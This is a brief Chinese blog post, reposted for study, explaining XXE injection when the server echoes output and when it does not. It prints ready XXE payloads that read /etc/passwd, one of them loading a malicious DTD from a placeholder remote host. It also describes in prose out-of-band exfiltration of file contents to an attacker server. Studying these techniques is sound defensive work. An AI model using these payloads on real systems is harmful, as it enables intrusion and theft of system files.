xxe 回显与无回显

转载学习于红日安全

一、有回显

(1)直接将外部实体引用的URI设置为敏感目录

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

(2)将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >

%xxe;]>

<foo>&evil;</foo>

外部 evil.dtd 中的内容:

<!ENTITY evil SYSTEM "file:///etc/passwd" >

二、无回显

可以使用外带数据通道提取数据,先使用 filter:/// 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器)。实体 remote,all,send 的引用顺序很重要,首先对 remote 引用的目的是将外部文件 evil.xml 引入到解释上下文中,然后执行 %all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发

也可以直接在 DTD 中引用 send 实体,如果在 evil.xml 中,send 是个参数实体的话

 

posted @ 2020-07-27 10:02  bingtanghulu  阅读(2348)  评论(0编辑  收藏  举报